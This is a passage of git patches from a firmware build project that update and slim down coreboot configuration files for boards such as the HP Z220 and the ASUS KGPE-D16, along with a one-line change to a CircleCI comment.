CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -323,8 +324,8 @@ CONFIG_NORTHBRIDGE_INTEL_SANDYBRIDGE=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_C216=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -438,8 +439,6 @@ CONFIG_ECAM_MMCONF_LENGTH=0x04000000 CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -470,6 +469,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_NO_UART_ON_SUPERIO=y @@ -506,6 +506,8 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 CONFIG_DRIVERS_RICOH_RCE822=y # CONFIG_DRIVERS_SIL_3114 is not set +CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -540,6 +542,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -571,6 +574,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -633,6 +637,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # diff --git a/config/coreboot-z220-cmt.config b/config/coreboot-z220-cmt.config index 3c98e58e8..19e37b7dc 100644 --- a/config/coreboot-z220-cmt.config +++ b/config/coreboot-z220-cmt.config @@ -110,7 +110,7 @@ CONFIG_VENDOR_HP=y # CONFIG_VENDOR_UP is not set CONFIG_MAINBOARD_PART_NUMBER="HP Z220 CMT Workstation" CONFIG_MAINBOARD_VERSION="1.0" -CONFIG_MAINBOARD_DIR="hp/z220_series" +CONFIG_MAINBOARD_DIR="hp/snb_ivb_desktops" CONFIG_VGA_BIOS_ID="8086,0106" CONFIG_DIMM_MAX=4 CONFIG_DIMM_SPD_SIZE=256 @@ -167,6 +167,8 @@ CONFIG_SPI_FLASH_STMICRO=y # CONFIG_BOARD_HP_COMPAQ_ELITE_8300_USDT is not set # CONFIG_BOARD_HP_ELITEBOOK_820_G2 is not set # CONFIG_BOARD_HP_FOLIO_9480M is not set +CONFIG_BOARD_HP_Z220_CMT_WORKSTATION=y +# CONFIG_BOARD_HP_Z220_SFF_WORKSTATION is not set # CONFIG_BOARD_HP_2170P is not set # CONFIG_BOARD_HP_2560P is not set # CONFIG_BOARD_HP_2570P is not set @@ -177,9 +179,7 @@ CONFIG_SPI_FLASH_STMICRO=y # CONFIG_BOARD_HP_FOLIO_9470M is not set # CONFIG_BOARD_HP_PROBOOK_6360B is not set # CONFIG_BOARD_HP_REVOLVE_810_G1 is not set -CONFIG_BOARD_HP_Z220_CMT_WORKSTATION=y -# CONFIG_BOARD_HP_Z220_SFF_WORKSTATION is not set -CONFIG_BOARD_HP_Z220_SERIES_COMMON=y +CONFIG_BOARD_HP_SNB_IVB_DESKTOPS_COMMON=y # CONFIG_DEBUG_SMI is not set CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="Hewlett-Packard Z220 CMT Workstation" CONFIG_HAVE_IFD_BIN=y @@ -197,7 +197,6 @@ CONFIG_PCIEXP_CLK_PM=y CONFIG_GFX_GMA_PANEL_1_ON_EDP=y CONFIG_DRIVERS_UART_8250IO=y CONFIG_PC_CMOS_BASE_PORT_BANK1=0x72 -CONFIG_HEAP_SIZE=0x4000 CONFIG_EC_GPE_SCI=0x50 CONFIG_TPM_MEASURED_BOOT=y CONFIG_LINUX_COMMAND_LINE="nohz=off quiet loglevel=2" @@ -213,6 +212,7 @@ CONFIG_BOARD_ROMSIZE_KB_16384=y # CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set # CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y +# CONFIG_COREBOOT_ROMSIZE_KB_24576 is not set # CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set # CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set CONFIG_COREBOOT_ROMSIZE_KB=16384 @@ -242,6 +242,7 @@ CONFIG_SMM_MODULE_STACK_SIZE=0x400 # CONFIG_USE_EXP_X86_64_SUPPORT is not set CONFIG_SERIRQ_CONTINUOUS_MODE=y CONFIG_PRERAM_CBFS_CACHE_SIZE=0x0 +CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 CONFIG_EHCI_BAR=0xfef00000 CONFIG_ACPI_CPU_STRING="CP%02X" CONFIG_STACK_SIZE=0x2000 @@ -257,9 +258,9 @@ CONFIG_FIXED_MCHBAR_MMIO_BASE=0xfed10000 CONFIG_FIXED_DMIBAR_MMIO_BASE=0xfed18000 CONFIG_FIXED_EPBAR_MMIO_BASE=0xfed19000 CONFIG_PCIEXP_COMMON_CLOCK=y +CONFIG_SOC_PHYSICAL_ADDRESS_WIDTH=0 CONFIG_FIXED_SMBUS_IO_BASE=0x400 CONFIG_CBFS_CACHE_ALIGN=8 -CONFIG_DOMAIN_RESOURCE_32BIT_LIMIT=0xfe000000 # # CPU @@ -308,8 +309,8 @@ CONFIG_RAMINIT_ENABLE_ECC=y # # Southbridge # +CONFIG_SOUTHBRIDGE_INTEL_BD82X6X_COMMON=y CONFIG_SOUTHBRIDGE_INTEL_BD82X6X=y -CONFIG_SOUTH_BRIDGE_OPTIONS=y # CONFIG_HIDE_MEI_ON_ERROR is not set CONFIG_PCIEXP_HOTPLUG=y CONFIG_INTEL_DESCRIPTOR_MODE_REQUIRED=y @@ -419,8 +420,6 @@ CONFIG_PCIEXP_SUPPORT_RESIZABLE_BARS=y CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_ABOVE_4G=y # CONFIG_PCIEXP_HOTPLUG_PREFETCH_MEM_BELOW_4G is not set CONFIG_PCIEXP_HOTPLUG_IO=0x2000 -CONFIG_FIRMWARE_CONNECTION_MANAGER=y -# CONFIG_SOFTWARE_CONNECTION_MANAGER is not set # CONFIG_EARLY_PCI_BRIDGE is not set CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 @@ -451,6 +450,7 @@ CONFIG_SPI_FLASH_EON=y CONFIG_SPI_FLASH_MACRONIX=y CONFIG_SPI_FLASH_SPANSION=y CONFIG_SPI_FLASH_SST=y +CONFIG_SPI_FLASH_ISSI=y CONFIG_TPM_INIT_RAMSTAGE=y # CONFIG_TPM_PPI is not set CONFIG_DRIVERS_UART=y @@ -487,6 +487,7 @@ CONFIG_MEMORY_MAPPED_TPM=y CONFIG_TPM_TIS_BASE_ADDRESS=0xfed40000 # CONFIG_DRIVERS_SIL_3114 is not set CONFIG_DRIVERS_WIFI_GENERIC=y +CONFIG_DRIVERS_MTK_WIFI=y # end of Generic Drivers # @@ -521,6 +522,7 @@ CONFIG_TPM_MEASURED_BOOT_RUNTIME_DATA="" CONFIG_PCR_BOOT_MODE=1 CONFIG_PCR_HWID=1 CONFIG_PCR_SRTM=2 +CONFIG_PCR_FW_VER=10 CONFIG_PCR_RUNTIME_DATA=3 # end of Trusted Platform Module @@ -552,6 +554,7 @@ CONFIG_BOOT_DEVICE_SPI_FLASH=y CONFIG_BOOT_DEVICE_MEMORY_MAPPED=y CONFIG_BOOT_DEVICE_SUPPORTS_WRITES=y CONFIG_RTC=y +CONFIG_HEAP_SIZE=0x100000 # # Console @@ -635,6 +638,7 @@ CONFIG_PAYLOAD_FILE="@BOARD_BUILD_DIR@/bzImage" CONFIG_PAYLOAD_OPTIONS="" # CONFIG_PXE is not set CONFIG_LINUX_INITRD="@BOARD_BUILD_DIR@/initrd.cpio.xz" +# CONFIG_PAYLOAD_IS_FLAT_BINARY is not set CONFIG_COMPRESS_SECONDARY_PAYLOAD=y # From b8a87ff579f381791fa5b782dc9c592bd869aea4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Fri, 26 Jul 2024 15:38:53 -0400 Subject: [PATCH 172/619] CircleCI: modify comments/cache relative to version bump 4.22.01->24.02.01 Signed-off-by: Thierry Laurion --- .circleci/config.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.circleci/config.yml b/.circleci/config.yml index 324d7001b..17226064a 100644 --- a/.circleci/config.yml +++ b/.circleci/config.yml @@ -277,7 +277,7 @@ workflows: - librem_14 # Those onboarding new boards should add their entries below. - # coreboot 4.22.01 boards + # coreboot 24.02.01 boards - build: name: x220-hotp-maximized target: x220-hotp-maximized From 88cec3ab871419eb0679177191e9a1e717cff35f Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Wed, 17 Jul 2024 13:34:48 -0400 Subject: [PATCH 173/619] coreboot configs: put in defconfig to ease comparison and unification of configs Signed-off-by: Thierry Laurion --- .../coreboot-kgpe-d16_server-whiptail.config | 691 -------------- config/coreboot-kgpe-d16_server.config | 691 -------------- ...t-kgpe-d16_workstation-usb_keyboard.config | 691 -------------- config/coreboot-kgpe-d16_workstation.config | 691 -------------- config/coreboot-librem_11.config | 732 --------------- config/coreboot-librem_13v2.config | 776 ---------------- config/coreboot-librem_13v4.config | 776 ---------------- config/coreboot-librem_14.config | 783 ---------------- config/coreboot-librem_15v3.config | 776 ---------------- config/coreboot-librem_15v4.config | 776 ---------------- config/coreboot-librem_l1um.config | 8 +- config/coreboot-librem_l1um_v2.config | 773 ---------------- config/coreboot-librem_mini.config | 768 ---------------- config/coreboot-librem_mini_v2.config | 775 ---------------- config/coreboot-nitropad-ns50.config | 848 ------------------ config/coreboot-nitropad-nv41.config | 848 ------------------ config/coreboot-qemu-tpm1.config | 533 ----------- config/coreboot-qemu-tpm2.config | 527 ----------- config/coreboot-t420-maximized.config | 676 -------------- config/coreboot-t430-maximized.config | 676 -------------- config/coreboot-t440p.config | 673 -------------- config/coreboot-t530-maximized.config | 677 -------------- config/coreboot-talos-2.config | 1 + config/coreboot-w530-maximized.config | 678 -------------- config/coreboot-w541.config | 671 -------------- config/coreboot-x220-maximized.config | 677 -------------- config/coreboot-x230-legacy-flash.config | 656 -------------- config/coreboot-x230-legacy.config | 659 -------------- config/coreboot-x230-maximized-fhd_edp.config | 674 -------------- config/coreboot-x230-maximized.config | 669 -------------- config/coreboot-z220-cmt.config | 673 -------------- 31 files changed, 4 insertions(+), 20519 deletions(-) diff --git a/config/coreboot-kgpe-d16_server-whiptail.config b/config/coreboot-kgpe-d16_server-whiptail.config index 009414bf2..05c3c3ccd 100644 --- a/config/coreboot-kgpe-d16_server-whiptail.config +++ b/config/coreboot-kgpe-d16_server-whiptail.config @@ -1,709 +1,18 @@ -# -# Automatically generated file; DO NOT EDIT. -# coreboot configuration -# - -# -# General setup -# -CONFIG_COREBOOT_BUILD=y -CONFIG_LOCALVERSION="" -CONFIG_CBFS_PREFIX="fallback" -CONFIG_COMPILER_GCC=y -# CONFIG_COMPILER_LLVM_CLANG is not set -# CONFIG_ANY_TOOLCHAIN is not set -# CONFIG_CCACHE is not set -# CONFIG_FMD_GENPARSER is not set -# CONFIG_UTIL_GENPARSER is not set CONFIG_USE_OPTION_TABLE=y -# CONFIG_STATIC_OPTION_TABLE is not set -CONFIG_COMPRESS_RAMSTAGE=y -CONFIG_INCLUDE_CONFIG_FILE=y # CONFIG_COLLECT_TIMESTAMPS is not set -# CONFIG_USE_BLOBS is not set -# CONFIG_COVERAGE is not set -# CONFIG_UBSAN is not set -CONFIG_NO_RELOCATABLE_RAMSTAGE=y -# CONFIG_RELOCATABLE_RAMSTAGE is not set -# CONFIG_UPDATE_IMAGE is not set -# CONFIG_BOOTSPLASH_IMAGE is not set CONFIG_MEASURED_BOOT=y - -# -# Mainboard -# - -# -# Important: Run 'make distclean' before switching boards -# -# CONFIG_VENDOR_ADI is not set -# CONFIG_VENDOR_ADLINK is not set -# CONFIG_VENDOR_ADVANSUS is not set -# CONFIG_VENDOR_AMD is not set -# CONFIG_VENDOR_AOPEN is not set -# CONFIG_VENDOR_APPLE is not set -# CONFIG_VENDOR_ASROCK is not set CONFIG_VENDOR_ASUS=y -# CONFIG_VENDOR_AVALUE is not set -# CONFIG_VENDOR_BAP is not set -# CONFIG_VENDOR_BIOSTAR is not set -# CONFIG_VENDOR_CAVIUM is not set -# CONFIG_VENDOR_COMPULAB is not set -# CONFIG_VENDOR_ELMEX is not set -# CONFIG_VENDOR_EMULATION is not set -# CONFIG_VENDOR_ESD is not set -# CONFIG_VENDOR_FACEBOOK is not set -# CONFIG_VENDOR_FOXCONN is not set -# CONFIG_VENDOR_GETAC is not set -# CONFIG_VENDOR_GIGABYTE is not set -# CONFIG_VENDOR_GIZMOSPHERE is not set -# CONFIG_VENDOR_GOOGLE is not set -# CONFIG_VENDOR_HP is not set -# CONFIG_VENDOR_IBASE is not set -# CONFIG_VENDOR_IEI is not set -# CONFIG_VENDOR_INTEL is not set -# CONFIG_VENDOR_JETWAY is not set -# CONFIG_VENDOR_KONTRON is not set -# CONFIG_VENDOR_LENOVO is not set -# CONFIG_VENDOR_LIPPERT is not set -# CONFIG_VENDOR_MSI is not set -# CONFIG_VENDOR_OCP is not set -# CONFIG_VENDOR_OPENCELLULAR is not set -# CONFIG_VENDOR_PACKARDBELL is not set -# CONFIG_VENDOR_PCENGINES is not set -# CONFIG_VENDOR_PORTWELL is not set -# CONFIG_VENDOR_PURISM is not set -# CONFIG_VENDOR_RAZER is not set -# CONFIG_VENDOR_RODA is not set -# CONFIG_VENDOR_SAMSUNG is not set -# CONFIG_VENDOR_SAPPHIRE is not set -# CONFIG_VENDOR_SCALEWAY is not set -# CONFIG_VENDOR_SIEMENS is not set -# CONFIG_VENDOR_SIFIVE is not set -# CONFIG_VENDOR_SUPERMICRO is not set -# CONFIG_VENDOR_TI is not set -# CONFIG_VENDOR_TYAN is not set -# CONFIG_VENDOR_UP is not set -# CONFIG_VENDOR_VIA is not set -CONFIG_BOARD_SPECIFIC_OPTIONS=y -CONFIG_MAINBOARD_DIR="asus/kgpe-d16" -CONFIG_MAINBOARD_PART_NUMBER="KGPE-D16" -CONFIG_MAX_CPUS=32 -CONFIG_CBFS_SIZE=0x1000000 CONFIG_UART_FOR_CONSOLE=1 -CONFIG_MAINBOARD_VENDOR="ASUS" -CONFIG_APIC_ID_OFFSET=0x0 -CONFIG_HW_MEM_HOLE_SIZEK=0x100000 -CONFIG_MAX_PHYSICAL_CPUS=4 -CONFIG_HT_CHAIN_END_UNITID_BASE=0x20 -CONFIG_HT_CHAIN_UNITID_BASE=0x0 -CONFIG_IRQ_SLOT_COUNT=13 -CONFIG_VGA_BIOS_ID="1a03,2000" -CONFIG_ONBOARD_VGA_IS_PRIMARY=y -CONFIG_DIMM_SPD_SIZE=256 -# CONFIG_VGA_BIOS is not set -CONFIG_MAINBOARD_SERIAL_NUMBER="123456789" -CONFIG_C_ENV_BOOTBLOCK_SIZE=0x10000 -CONFIG_MAINBOARD_SMBIOS_MANUFACTURER="ASUS" -CONFIG_DEVICETREE="devicetree.cb" -CONFIG_PRERAM_CBMEM_CONSOLE_SIZE=0xc00 -# CONFIG_BOARD_ASUS_AM1I_A is not set -# CONFIG_BOARD_ASUS_F2A85_M is not set -# CONFIG_BOARD_ASUS_F2A85_M_PRO is not set -# CONFIG_BOARD_ASUS_F2A85_M_LE is not set -# CONFIG_BOARD_ASUS_H61M_CS is not set -# CONFIG_BOARD_ASUS_KCMA_D8 is not set -# CONFIG_BOARD_ASUS_KFSN4_DRE is not set CONFIG_BOARD_ASUS_KGPE_D16=y -# CONFIG_BOARD_ASUS_M4A78_EM is not set -# CONFIG_BOARD_ASUS_M4A785M is not set -# CONFIG_BOARD_ASUS_M4A785TM is not set -# CONFIG_BOARD_ASUS_M5A88_V is not set -# CONFIG_BOARD_ASUS_MAXIMUS_IV_GENE_Z is not set -# CONFIG_BOARD_ASUS_P2B_D is not set -# CONFIG_BOARD_ASUS_P2B_DS is not set -# CONFIG_BOARD_ASUS_P2B_F is not set -# CONFIG_BOARD_ASUS_P2B_LS is not set -# CONFIG_BOARD_ASUS_P2B is not set -# CONFIG_BOARD_ASUS_P3B_F is not set -# CONFIG_BOARD_ASUS_P5GC_MX is not set -# CONFIG_BOARD_ASUS_P5QC is not set -# CONFIG_BOARD_ASUS_P5Q_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_PRO is not set -# CONFIG_BOARD_ASUS_P5QL_EM is not set -# CONFIG_BOARD_ASUS_P5QPL_AM is not set -# CONFIG_BOARD_ASUS_P5G41T_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_LX is not set -# CONFIG_BOARD_ASUS_P8H61_M_PRO is not set -# CONFIG_BOARD_ASUS_P8Z77_M_PRO is not set -CONFIG_POST_IO=y -CONFIG_BOOTBLOCK_MAINBOARD_INIT="mainboard/asus/kgpe-d16/bootblock.c" -CONFIG_DCACHE_RAM_BASE=0xc2000 -CONFIG_DCACHE_RAM_SIZE=0x1e000 -CONFIG_SOUTHBRIDGE_AMD_SB700_SATA_PORT_COUNT_BITFIELD=0x3f -CONFIG_MAX_REBOOT_CNT=10 -CONFIG_OVERRIDE_DEVICETREE="" -CONFIG_BOOT_DEVICE_SPI_FLASH_BUS=0 -CONFIG_FMDFILE="" -# CONFIG_VBOOT is not set -CONFIG_MMCONF_BASE_ADDRESS=0xc0000000 -CONFIG_POST_DEVICE=y -CONFIG_SPI_FLASH_INCLUDE_ALL_DRIVERS=y -CONFIG_SPI_FLASH_WINBOND=y -CONFIG_TPM_INIT=y # CONFIG_DRIVERS_INTEL_WIFI is not set -CONFIG_DRIVERS_UART_8250IO=y -CONFIG_DIMM_MAX=4 -CONFIG_TPM_PIRQ=0x0 -CONFIG_TTYS0_LCS=3 -CONFIG_MAINBOARD_SMBIOS_PRODUCT_NAME="KGPE-D16" -CONFIG_DEFAULT_CONSOLE_LOGLEVEL=8 -# CONFIG_USBDEBUG is not set -CONFIG_IPMI_KCS_REGISTER_SPACING=1 -CONFIG_MAINBOARD_VERSION="1.0" CONFIG_DRIVERS_PS2_KEYBOARD=y -CONFIG_PCIEXP_L1_SUB_STATE=y -# CONFIG_NO_POST is not set -CONFIG_SMBIOS_ENCLOSURE_TYPE=0x03 -CONFIG_HEAP_SIZE=0xc0000 -# CONFIG_CONSOLE_POST is not set -CONFIG_SUBSYSTEM_VENDOR_ID=0x0000 -CONFIG_SUBSYSTEM_DEVICE_ID=0x0000 CONFIG_LINUX_COMMAND_LINE="nohz=on console=tty0 earlyprintk=tty0 quiet loglevel=2" -CONFIG_BOARD_ROMSIZE_KB_2048=y -# CONFIG_COREBOOT_ROMSIZE_KB_64 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_128 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_256 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_512 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_1024 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_2048 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_4096 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_6144 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_8192 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_10240 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_12288 is not set CONFIG_COREBOOT_ROMSIZE_KB_16384=y -# CONFIG_COREBOOT_ROMSIZE_KB_32768 is not set -# CONFIG_COREBOOT_ROMSIZE_KB_65536 is not set -CONFIG_COREBOOT_ROMSIZE_KB=16384 -CONFIG_ROM_SIZE=0x1000000 -CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y -CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -CONFIG_POWER_STATE_DEFAULT_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y -# CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 -# CONFIG_SYSTEM_TYPE_LAPTOP is not set -# CONFIG_SYSTEM_TYPE_TABLET is not set -# CONFIG_SYSTEM_TYPE_DETACHABLE is not set -# CONFIG_SYSTEM_TYPE_CONVERTIBLE is not set -# CONFIG_CBFS_AUTOGEN_ATTRIBUTES is not set - -# -# Chipset -# - -# -# SoC -# -CONFIG_HAVE_BOOTBLOCK=y -CONFIG_CPU_ADDR_BITS=48 -CONFIG_MMCONF_BUS_NUMBER=256 -CONFIG_EHCI_BAR=0xfef00000 -CONFIG_SMM_MODULE_STACK_SIZE=0x400 -CONFIG_ACPI_CPU_STRING="\\_PR.CP%02d" -# CONFIG_SOC_CAVIUM_CN81XX is not set -CONFIG_ARCH_ARMV8_EXTENSION=0 -CONFIG_STACK_SIZE=0x1000 -# CONFIG_SOC_CAVIUM_COMMON is not set -# CONFIG_SOC_INTEL_GLK is not set -CONFIG_X86_TOP4G_BOOTMEDIA_MAP=y -CONFIG_ROMSTAGE_ADDR=0x2000000 -CONFIG_VERSTAGE_ADDR=0x2000000 -CONFIG_PCIEXP_ASPM=y -CONFIG_PCIEXP_COMMON_CLOCK=y -CONFIG_PCIEXP_CLK_PM=y -CONFIG_TTYS0_BASE=0x2f8 -CONFIG_HPET_MIN_TICKS=0x14 -CONFIG_UART_PCI_ADDR=0x0 -# CONFIG_SOC_MEDIATEK_MT8173 is not set -# CONFIG_SOC_MEDIATEK_MT8183 is not set -# CONFIG_SOC_NVIDIA_TEGRA124 is not set -# CONFIG_SOC_NVIDIA_TEGRA210 is not set -# CONFIG_SOC_QUALCOMM_COMMON is not set -# CONFIG_SOC_QC_IPQ40XX is not set -# CONFIG_SOC_QC_IPQ806X is not set -# CONFIG_SOC_QUALCOMM_QCS405 is not set -# CONFIG_SOC_QUALCOMM_SC7180 is not set -# CONFIG_SOC_QUALCOMM_SDM845 is not set -# CONFIG_SOC_ROCKCHIP_RK3288 is not set -# CONFIG_SOC_ROCKCHIP_RK3399 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5250 is not set -# CONFIG_CPU_SAMSUNG_EXYNOS5420 is not set -# CONFIG_SOC_UCB_RISCV is not set - -# -# CPU -# -CONFIG_CPU_SOCKET_TYPE=0x15 -# CONFIG_EXT_RT_TBL_SUPPORT is not set -CONFIG_CBB=0x0 -CONFIG_CDB=0x18 -CONFIG_XIP_ROM_SIZE=0x80000 -CONFIG_CPU_AMD_SOCKET_G34_NON_AGESA=y -CONFIG_CPU_AMD_MODEL_10XXX=y -CONFIG_USE_LARGE_DCACHE=y -CONFIG_NUM_IPI_STARTS=1 -CONFIG_DCACHE_BSP_TOP_STACK_SIZE=0x4000 -CONFIG_DCACHE_BSP_TOP_STACK_SLUSH=0x4000 -CONFIG_DCACHE_AP_STACK_SIZE=0x500 -CONFIG_SET_FIDVID=y -CONFIG_LIFT_BSP_APIC_ID=y -CONFIG_SET_FIDVID_DEBUG=y -CONFIG_SET_FIDVID_STORE_AP_APICID_AT_FIRST=y -# CONFIG_SET_FIDVID_CORE0_ONLY is not set -CONFIG_SET_FIDVID_CORE_RANGE=0 -CONFIG_UDELAY_LAPIC_FIXED_FSB=200 -# CONFIG_CPU_AMD_AGESA is not set -# CONFIG_CPU_AMD_PI is not set -# CONFIG_CPU_ARMLTD_CORTEX_A9 is not set -CONFIG_SSE2=y -# CONFIG_CPU_INTEL_FIRMWARE_INTERFACE_TABLE is not set -# CONFIG_CPU_INTEL_TURBO_NOT_PACKAGE_SCOPED is not set -# CONFIG_CPU_TI_AM335X is not set -CONFIG_PARALLEL_CPU_INIT=y -# CONFIG_PARALLEL_MP is not set -CONFIG_UDELAY_LAPIC=y -# CONFIG_LAPIC_MONOTONIC_TIMER is not set -# CONFIG_UDELAY_TSC is not set -CONFIG_TSC_SYNC_LFENCE=y -# CONFIG_TSC_SYNC_MFENCE is not set -# CONFIG_NO_FIXED_XIP_ROM_SIZE is not set -CONFIG_LOGICAL_CPUS=y -# CONFIG_HAVE_SMI_HANDLER is not set -# CONFIG_NO_SMM is not set -# CONFIG_SMM_ASEG is not set -CONFIG_SMM_TSEG=y -CONFIG_SMM_MODULE_HEAP_SIZE=0x4000 -CONFIG_SMM_STUB_STACK_SIZE=0x400 -# CONFIG_SMM_LAPIC_REMAP_MITIGATION is not set -# CONFIG_SERIALIZED_SMM_INITIALIZATION is not set -CONFIG_X86_AMD_FIXED_MTRRS=y -# CONFIG_X86_AMD_INIT_SIPI is not set -# CONFIG_MIRROR_PAYLOAD_TO_RAM_BEFORE_LOADING is not set -# CONFIG_SOC_SETS_MSRS is not set -CONFIG_CAR_GLOBAL_MIGRATION=y -CONFIG_SMP=y -CONFIG_SSE=y -CONFIG_SUPPORT_CPU_UCODE_IN_CBFS=y -# CONFIG_USES_MICROCODE_HEADER_FILES is not set -# CONFIG_CPU_MICROCODE_CBFS_DEFAULT_BINS is not set CONFIG_CPU_MICROCODE_CBFS_NONE=y -CONFIG_CPU_MICROCODE_MULTIPLE_FILES=y - -# -# Northbridge -# -# CONFIG_NORTHBRIDGE_AMD_AGESA is not set -CONFIG_NORTHBRIDGE_AMD_AMDFAM10=y -CONFIG_AGP_APERTURE_SIZE=0x4000000 -CONFIG_BOOTBLOCK_NORTHBRIDGE_INIT="northbridge/amd/amdfam10/bootblock.c" -CONFIG_SB_HT_CHAIN_UNITID_OFFSET_ONLY=y -# CONFIG_HT_CHAIN_DISTRIBUTE is not set -# CONFIG_DIMM_DDR2 is not set -CONFIG_DIMM_DDR3=y -CONFIG_DIMM_REGISTERED=y -CONFIG_DIMM_VOLTAGE_SET_SUPPORT=y -# CONFIG_SVI_HIGH_FREQ is not set - -# -# HyperTransport setup -# -# CONFIG_LIMIT_HT_DOWN_WIDTH_8 is not set -CONFIG_LIMIT_HT_DOWN_WIDTH_16=y -# CONFIG_LIMIT_HT_UP_WIDTH_8 is not set -CONFIG_LIMIT_HT_UP_WIDTH_16=y -# CONFIG_NORTHBRIDGE_AMD_PI is not set - -# -# Southbridge -# -CONFIG_SOUTHBRIDGE_SPECIFIC_OPTIONS=y -CONFIG_BOOTBLOCK_SOUTHBRIDGE_INIT="southbridge/amd/sb700/bootblock.c" -# CONFIG_AMD_SB_CIMX is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB800 is not set -# CONFIG_SOUTHBRIDGE_AMD_CIMX_SB900 is not set -CONFIG_SOUTHBRIDGE_AMD_SB700=y CONFIG_SOUTHBRIDGE_AMD_SB700_33MHZ_SPI=y -CONFIG_SOUTHBRIDGE_AMD_SUBTYPE_SP5100=y -# CONFIG_SOUTHBRIDGE_AMD_SB700_SKIP_ISA_DMA_INIT is not set -CONFIG_SOUTHBRIDGE_AMD_SB700_DISABLE_ISA_DMA=y -CONFIG_SOUTHBRIDGE_AMD_SR5650=y -CONFIG_EXT_CONF_SUPPORT=y -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RESET is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RTC is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PMBASE is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_GPIO is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMBUS is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SPI is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_PIRQ_ACPI_GEN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_RCBA_PIRQ is not set -# CONFIG_HAVE_INTEL_CHIPSET_LOCKDOWN is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_SMM is not set -# CONFIG_SOUTHBRIDGE_INTEL_COMMON_USB_DEBUG is not set -# CONFIG_INTEL_DESCRIPTOR_MODE_CAPABLE is not set - -# -# Super I/O -# -# CONFIG_SUPERIO_ASPEED_AST2400 is not set -# CONFIG_SUPERIO_ASPEED_COMMON_PRE_RAM is 